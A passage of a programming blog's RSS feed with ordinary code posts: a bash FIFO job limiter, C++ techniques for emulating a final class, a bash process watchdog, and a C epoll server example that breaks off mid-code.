GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432688.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432688.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432688.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: #!/bin/bashTHREAD_NUM=5tfile=$(mktemp /tmp/.foo.XXXXXXXX)rm -f $tfilemkfifo $tfileexec 9&lt;&gt;$tfilefor ((i=0;i&lt;$THREAD_NUM;i++)); do&nbsp; echo 1&gt;&amp;9donewhile read line; do&nbsp; read -u 9...&nbsp;&nbsp;<a href='http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html'>阅读全文</a><img src ="http://www.blogjava.net/bacoo/aggbug/432688.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-07-25 20:19 <a href="http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C++ implements final keyword</title><link>http://www.blogjava.net/bacoo/archive/2017/07/17/432665.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 17 Jul 2017 11:31:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/07/17/432665.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432665.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/07/17/432665.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432665.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432665.html</trackback:ping><description><![CDATA[<div>#include &lt;iostream&gt;</div><div>#include &lt;string&gt;</div><div>#include &lt;vector&gt;</div><div>#include &lt;map&gt;</div><div>#include &lt;set&gt;</div><div></div><div>using namespace std;</div><div></div><div>//part 1</div><div>class A {</div><div>private:</div><div>&nbsp; &nbsp; A() {};</div><div></div><div>public:</div><div>&nbsp; &nbsp; static A* GetInstance() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return new A();</div><div>&nbsp; &nbsp; }</div><div>};</div><div></div><div>//part 2</div><div>class A {</div><div>&nbsp; &nbsp; friend class B;</div><div>private:</div><div>&nbsp; &nbsp; A() {};</div><div>};</div><div></div><div>class B: public A {</div><div>};</div><div></div><div>//part 3</div><div>class A {</div><div>&nbsp; &nbsp; friend class B;</div><div>private:</div><div>&nbsp; &nbsp; A() {};</div><div>};</div><div></div><div>class B: virtual public A {</div><div>};</div><div></div><div>//part 4: 奇异递归模板模式（curiously recurring template pattern，CRTP）</div><div>template &lt;typename T&gt;</div><div>class A {</div><div>&nbsp; &nbsp; friend T;</div><div>private:</div><div>&nbsp; &nbsp; A() {};</div><div>};</div><div></div><div>class B: virtual public A&lt;B&gt; {</div><div>};</div><div></div><div>//part 4.2:</div><div>//这种技术获得了类似于虚函数的效果，并避免了动态多态的代价。也有人把CRTP称为&#8220;模拟的动态绑定&#8221;</div><div>template &lt;typename T&gt;</div><div>struct counter</div><div>{</div><div>&nbsp; &nbsp; static int objects_created;</div><div>&nbsp; &nbsp; static int objects_alive;</div><div></div><div>&nbsp; &nbsp; counter()</div><div>&nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++objects_created;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++objects_alive;</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp;&nbsp;</div><div>&nbsp; &nbsp; counter(const counter&amp;)</div><div>&nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++objects_created;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; ++objects_alive;</div><div>&nbsp; &nbsp; }</div><div>protected:</div><div>&nbsp; &nbsp; ~counter() // objects should never be removed through pointers of this type</div><div>&nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; --objects_alive;</div><div>&nbsp; &nbsp; }</div><div>};</div><div>template &lt;typename T&gt; int counter&lt;T&gt;::objects_created( 0 );</div><div>template &lt;typename T&gt; int counter&lt;T&gt;::objects_alive( 0 );</div><div></div><div>class X : counter&lt;X&gt;</div><div>{</div><div>&nbsp; &nbsp; ...</div><div>};</div><div>&nbsp; &nbsp;&nbsp;</div><div>class Y : counter&lt;Y&gt;</div><div>{</div><div>&nbsp; &nbsp; &nbsp;...</div><div>};</div><div></div><div>//part 5</div><div>class A {</div><div>protected:</div><div>&nbsp; &nbsp; A() {};</div><div>};</div><div></div><div>class B: virtual A {</div><div>};</div><div></div><div>//part 6</div><div>class B final {</div><div>};</div><div></div><div>//validate</div><div>class C: public B {</div><div>};</div><div></div><div>int main(int argc, char* argv[]) {</div><div>&nbsp; &nbsp; B b;</div><div>&nbsp; &nbsp; C c;</div><div>&nbsp; &nbsp; return 0;</div><div>}</div><img src ="http://www.blogjava.net/bacoo/aggbug/432665.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-07-17 19:31 <a href="http://www.blogjava.net/bacoo/archive/2017/07/17/432665.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>watchdog_pid.sh</title><link>http://www.blogjava.net/bacoo/archive/2017/04/06/432435.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 06 Apr 2017 08:00:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/04/06/432435.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432435.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/04/06/432435.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432435.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432435.html</trackback:ping><description><![CDATA[<div>#!/bin/bash</div><div></div><div>#ulimit -c unlimited</div><div>export PS4='+{$LINENO($(date +"%F %T")):${FUNCNAME[0]}} '</div><div>full_path=$(readlink -f $0)</div><div>#cd $(dirname $full_path)</div><div>#exec 1&gt;${full_path%.*}.log</div><div>exec 2&gt;${full_path%.*}.err</div><div>set -x</div><div></div><div>usage() {</div><div>&nbsp; &nbsp; printf \</div><div>"Usage: %s &lt;pid|pid_file&gt; &lt;start_cmd|start_script&gt;\n\n \</div><div>&nbsp;pid|pid_file &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; process pid or the pid file containing the pid of process to be supervised\n \</div><div>&nbsp;start_cmd|start_script &nbsp; &nbsp; &nbsp; start commands or start script if process dead\n \</div><div>\n" $1</div><div>&nbsp; &nbsp; exit 1</div><div>}</div><div></div><div>if [ $# -lt 2 ]; then</div><div>&nbsp; &nbsp; usage $0</div><div>fi</div><div></div><div>pid_way=$1</div><div>if [ "" != "${pid_way//[0-9]}" -a -s "$pid_way" ]; then</div><div>&nbsp; &nbsp; pid_file=$(readlink -f $pid_way)</div><div>else</div><div>&nbsp; &nbsp; pid_id=$pid_way</div><div>&nbsp; &nbsp; pinfo=($(ps -eo uid,pid,args | awk -v pid=$pid_id '{if($2==pid)print $0}'))</div><div>&nbsp; &nbsp; puid=${pinfo[0]}</div><div>&nbsp; &nbsp; pname=${pinfo[2]}</div><div>&nbsp; &nbsp; if [ "" == "$puid" -o "" == "$pname" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo "Couldn't find the process with the pid $pid_id"</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exit 2</div><div>&nbsp; &nbsp; fi</div><div>fi</div><div></div><div>cmd=($2)</div><div>if [ -s "${cmd[0]}" ]; then</div><div>&nbsp; &nbsp; start_way=$(readlink -f ${cmd[0]})</div><div>&nbsp; &nbsp; for ((i=1; i&lt;${#cmd[@]}; ++i)); do</div><div>&nbsp; &nbsp; &nbsp; &nbsp; start_way="$start_way ""${cmd[$i]}"</div><div>&nbsp; &nbsp; done</div><div>&nbsp; &nbsp; shift 2</div><div>&nbsp; &nbsp; start_way="$start_way ""$@"</div><div>else</div><div>&nbsp; &nbsp; shift 1</div><div>&nbsp; &nbsp; start_way="$@"</div><div>fi</div><div></div><div>while true; do</div><div>&nbsp; &nbsp; if [ "" != "$pid_id" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pid=$pid_id</div><div>&nbsp; &nbsp; else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pid=$(cat $pid_file)</div><div>&nbsp; &nbsp; fi</div><div></div><div>&nbsp; &nbsp; if [ "" != "$pid" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if ! kill -0 $pid; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; now=$(date +%s)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $start_way &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #sleep 60</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "" != "$pid_id" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tm_fields_num=$(ps -eo lstart | tail -1 | awk '{print NF}')</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; find_new_process=0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id_bak=()</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while read line; do</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstarttime=$(date -d "${line#* }" +%s)&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "$pstarttime" -ge "$now" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id_tmp=${line%% *}</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pinfo_new=($(ps -eo uid,pid,args | awk -v pid=$pid_id_tmp '{if($2==pid)print $0}'))</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "0" == "${#pinfo_new[@]}" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; diff_fields_num=0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for ((i=3; i&lt;(${#pinfo[@]} &gt; ${#pinfo_new[@]} ? ${#pinfo[@]} : ${#pinfo_new[@]}); ++i)); do</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "${pinfo[$i]}" != "${pinfo_new[$i]}" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ((++diff_fields_num))</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "0" -eq "$diff_fields_num" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id=$pid_id_tmp</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "$((++find_new_process))" -gt "1" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit 1</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id_bak[$diff_fields_num]=$pid_id_tmp</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done &lt; &lt;(ps -eo uid,pid,lstart,args | awk -v puid=$puid -v pname=$pname -v tfn=$tm_fields_num '{if($1==puid &amp;&amp; $(3+tfn)==pname){printf "%d ", $2; for(i=3;i&lt;3+tfn;++i) printf "%s ", $i; printf "\n";}}')</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "0" == "$find_new_process" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id=${pid_id_bak[@]}</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id=${pid_id%% *}</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tm_new_pid_file=$(date -d "$(stat $pid_file | grep ^Modify: | sed 's#Modify:##')" +%s)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "$tm_new_pid_file" -lt "$now" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit 2</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; #sleep 1</div><div>&nbsp; &nbsp; if [ "$(ls -l ${full_path%.*}.err | awk '{print $5}')" -ge $((1024 * 1024 * 1024)) ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; set +x</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exec 2&gt;/dev/null</div><div>&nbsp; &nbsp; &nbsp; &nbsp; cp ${full_path%.*}.err ${full_path%.*}.err.last</div><div>&nbsp; &nbsp; &nbsp; &nbsp; rm -f ${full_path%.*}.err</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exec 2&gt;${full_path%.*}.err</div><div>&nbsp; &nbsp; &nbsp; &nbsp; set -x</div><div>&nbsp; &nbsp; fi</div><div>done</div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/432435.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-04-06 16:00 <a href="http://www.blogjava.net/bacoo/archive/2017/04/06/432435.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>epoll example for test later</title><link>http://www.blogjava.net/bacoo/archive/2016/06/22/430993.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 22 Jun 2016 09:23:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/06/22/430993.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/430993.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/06/22/430993.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/430993.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/430993.html</trackback:ping><description><![CDATA[<div>curl https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/epoll-example.c<br /><br /><div>#include &lt;stdio.h&gt;</div><div>#include &lt;stdlib.h&gt;</div><div>#include &lt;string.h&gt;</div><div>#include &lt;sys/types.h&gt;</div><div>#include &lt;sys/socket.h&gt;</div><div>#include &lt;netdb.h&gt;</div><div>#include &lt;unistd.h&gt;</div><div>#include &lt;fcntl.h&gt;</div><div>#include &lt;sys/epoll.h&gt;</div><div>#include &lt;errno.h&gt;</div><div></div><div>#define MAXEVENTS 64</div><div></div><div>static int make_socket_non_blocking(int sfd) {</div><div>&nbsp; &nbsp; int flags, s;</div><div></div><div>&nbsp; &nbsp; flags = fcntl(sfd, F_GETFL, 0);</div><div>&nbsp; &nbsp; if (flags == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("fcntl");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; flags |= O_NONBLOCK;</div><div>&nbsp; &nbsp; s = fcntl(sfd, F_SETFL, flags);</div><div>&nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("fcntl");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; return 0;</div><div>}</div><div></div><div>static int create_and_bind(char *port) {</div><div>&nbsp; &nbsp; struct addrinfo hints;</div><div>&nbsp; &nbsp; struct addrinfo *result, *rp;</div><div>&nbsp; &nbsp; int s, sfd;</div><div></div><div>&nbsp; &nbsp; memset(&amp;hints, 0, sizeof(struct addrinfo));</div><div>&nbsp; &nbsp; hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */</div><div>&nbsp; &nbsp; hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */</div><div>&nbsp; &nbsp; hints.ai_flags = AI_PASSIVE; /* All interfaces */</div><div></div><div>&nbsp; &nbsp; s = getaddrinfo(NULL, port, &amp;hints, &amp;result);</div><div>&nbsp; &nbsp; if (s != 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; for (rp = result; rp != NULL; rp = rp-&gt;ai_next) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sfd = socket(rp-&gt;ai_family, rp-&gt;ai_socktype, rp-&gt;ai_protocol);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (sfd == -1)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; s = bind(sfd, rp-&gt;ai_addr, rp-&gt;ai_addrlen);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (s == 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* We managed to bind successfully! */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; close(sfd);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; if (rp == NULL) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, "Could not bind\n");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; freeaddrinfo(result);</div><div></div><div>&nbsp; &nbsp; return sfd;</div><div>}</div><div></div><div>int main(int argc, char *argv[]) {</div><div>&nbsp; &nbsp; int sfd, s;</div><div>&nbsp; &nbsp; int efd;</div><div>&nbsp; &nbsp; struct epoll_event event;</div><div>&nbsp; &nbsp; struct epoll_event *events;</div><div></div><div>&nbsp; &nbsp; if (argc != 2) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, "Usage: %s [port]\n", argv[0]);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exit(EXIT_FAILURE);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; sfd = create_and_bind(argv[1]);</div><div>&nbsp; &nbsp; if (sfd == -1)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div></div><div>&nbsp; &nbsp; s = make_socket_non_blocking(sfd);</div><div>&nbsp; &nbsp; if (s == -1)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div></div><div>&nbsp; &nbsp; s = listen(sfd, SOMAXCONN);</div><div>&nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("listen");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; efd = epoll_create1(0);</div><div>&nbsp; &nbsp; if (efd == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("epoll_create");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; event.data.fd = sfd;</div><div>&nbsp; &nbsp; event.events = EPOLLIN | EPOLLET;</div><div>&nbsp; &nbsp; s = epoll_ctl(efd, EPOLL_CTL_ADD, sfd, &amp;event);</div><div>&nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("epoll_ctl");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; /* Buffer where events are returned */</div><div>&nbsp; &nbsp; events = calloc(MAXEVENTS, sizeof event);</div><div></div><div>&nbsp; &nbsp; /* The event loop */</div><div>&nbsp; &nbsp; while (1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; int n, i;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; n = epoll_wait(efd, events, MAXEVENTS, -1);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (i = 0; i &lt; n; i++) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((events[i].events &amp; EPOLLERR) || (events[i].events &amp; EPOLLHUP) || (!(events[i].events &amp; EPOLLIN))) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* An error has occured on this fd, or the socket is not</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ready for reading (why were we notified then?) */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, "epoll error\n");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close(events[i].data.fd);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else if (sfd == events[i].data.fd) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* We have a notification on the listening socket, which</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;means one or more incoming connections. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; struct sockaddr in_addr;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; socklen_t in_len;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int infd;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char hbuf[NI_MAXHOST], sbuf[NI_MAXSERV];</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; in_len = sizeof in_addr;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; infd = accept(sfd, &amp;in_addr, &amp;in_len);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (infd == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* We have processed all incoming</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;connections. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("accept");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = getnameinfo(&amp;in_addr, in_len, hbuf, sizeof hbuf, sbuf, sizeof sbuf, NI_NUMERICHOST | NI_NUMERICSERV);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s == 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("Accepted connection on descriptor %d "</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "(host=%s, port=%s)\n", infd, hbuf, sbuf);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Make the incoming socket non-blocking and add it to the</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;list of fds to monitor. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = 